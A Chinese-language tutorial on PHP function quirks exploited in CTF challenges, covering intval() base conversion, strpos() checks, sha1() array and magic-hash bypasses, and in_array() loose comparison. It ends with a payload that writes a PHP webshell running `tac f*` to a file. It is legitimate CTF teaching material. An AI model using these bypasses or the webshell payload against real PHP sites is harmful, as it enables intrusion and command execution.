溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

CTF中的PHP特性函數(shù)有哪些

發(fā)布時(shí)間:2023-02-24 15:55:27 來源:億速云 閱讀:106 作者:iii 欄目:開發(fā)技術(shù)

本篇內(nèi)容主要講解“CTF中的PHP特性函數(shù)有哪些”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實(shí)用性強(qiáng)。下面就讓小編來帶大家學(xué)習(xí)“CTF中的PHP特性函數(shù)有哪些”吧!

    intval()

    官方是怎樣定義的:

    CTF中的PHP特性函數(shù)有哪些

    簡單來說就是讓輸入的數(shù)字變成整數(shù),下面我們舉個(gè)例子:

    echo intval(1145.14);                     // 1145
    echo intval('114514');                    // 114514

    可以發(fā)現(xiàn)只對有小數(shù)點(diǎn)的數(shù)字起作用,正常的整數(shù)還是照常輸出,那么它在CTF中是如何考察的呢,查看下面代碼:

    if($num==="1145"){
            die("no no no!");
        }
        if(intval($num,0)===1145){
            echo $flag;
        }

    要我們強(qiáng)類型傳入的不能等于1145,但后面經(jīng)過intval函數(shù)又要等于1145,這不和前面的矛盾了,我們要怎樣做呢?

    這里介紹一下intval的特性,如果我們在函數(shù)里傳入字符串,那么該函數(shù)就會(huì)返回不是數(shù)字的字符之前的數(shù)字,也就是說我們傳入:

    sum=1145a

    intval就會(huì)判斷我們傳入的是1145,從而實(shí)現(xiàn)了繞過,還有另一種繞過方法:

    CTF中的PHP特性函數(shù)有哪些

    當(dāng)base為0時(shí),intval會(huì)自動(dòng)進(jìn)行進(jìn)制轉(zhuǎn)換,我們可以傳入1145的十六進(jìn)制形式來繞過。

    strpos()

    CTF中的PHP特性函數(shù)有哪些

    根據(jù)手冊可以看到,該函數(shù)以及與其類似的函數(shù),作用都是匹配第一個(gè)或者最后一個(gè)字符,根據(jù)該函數(shù)特性,題目會(huì)經(jīng)常圍繞它作為一個(gè)限制頭部的點(diǎn),比如上面那題可能會(huì)增加限制:

     if(!strpos($num, "0")){
            die("no no no!");

    因?yàn)榘诉M(jìn)制開頭通常為0,檢測到的話就不能通過進(jìn)制轉(zhuǎn)換來繞過了。

    sha1

    CTF中的PHP特性函數(shù)有哪些

    p>該函數(shù)的利用以及繞過方法類似于MD5函數(shù),都是運(yùn)用了PHP特性來做,這里簡單看一下:

    數(shù)組比較

    類似于MD5,在SHA1里我們也可以使用數(shù)組繞過,具體可以看下面例子:

    if(sha1($a)==sha1($b) && $a!=$b){
      	echo $flag;
    }

    可以看到,也是一個(gè)弱比較,根據(jù)PHP特性sha1函數(shù)無法對數(shù)組進(jìn)行處理,,于是我們傳入數(shù)組來使結(jié)果為NULL:

    a[]=1
    b[]=2

    強(qiáng)類型

    與MD5相同,當(dāng)然也存在強(qiáng)類型比較,我們不能用數(shù)組來進(jìn)行繞過了:

    if(sha1($a)===sha1($b) && $a!=$b){
      	echo $flag;
    }

    這里同樣有類似于MD5函數(shù)的解決方法:

    a=aaK1STf    //0e7665852665575620768827115962402601
    b=aaO8zKZF   //0e89257456677279068558073954252716165

    array_push()

    CTF中的PHP特性函數(shù)有哪些

    可以理解為向數(shù)組尾部插入?yún)?shù),我們看看是如何考察的:

    <?php
    highlight_file(__FILE__);
    $allow = array();
    for ($i=36; $i < 0x36d; $i++) { 
        array_push($allow, rand(1,$i));
    }
    if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
        file_put_contents($_GET['n'], $_POST['content']);
    }
    ?>

    可以看到題目先向數(shù)組里插入隨機(jī)數(shù),in_array()是搜索數(shù)組中是否存在指定的值,根據(jù)它的語法:

    CTF中的PHP特性函數(shù)有哪些

    type會(huì)判斷類型是否匹配,這就是我們利用的點(diǎn),因?yàn)閿?shù)組里數(shù)據(jù)為int型,根據(jù)PHP特性比較后字符串會(huì)轉(zhuǎn)成int型,也就是說我們傳入1.php也是沒有問題的,后面有個(gè)寫入文件操作,正好可以設(shè)置一句話木馬連接后門,或者進(jìn)行命令執(zhí)行:

    get:  n=1.php
    post: content=&lt;?=`tac f*`;

    到此,相信大家對“CTF中的PHP特性函數(shù)有哪些”有了更深的了解,不妨來實(shí)際操作一番吧!這里是億速云網(wǎng)站,更多相關(guān)內(nèi)容可以進(jìn)入相關(guān)頻道進(jìn)行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!

    向AI問一下細(xì)節(jié)

    免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

    AI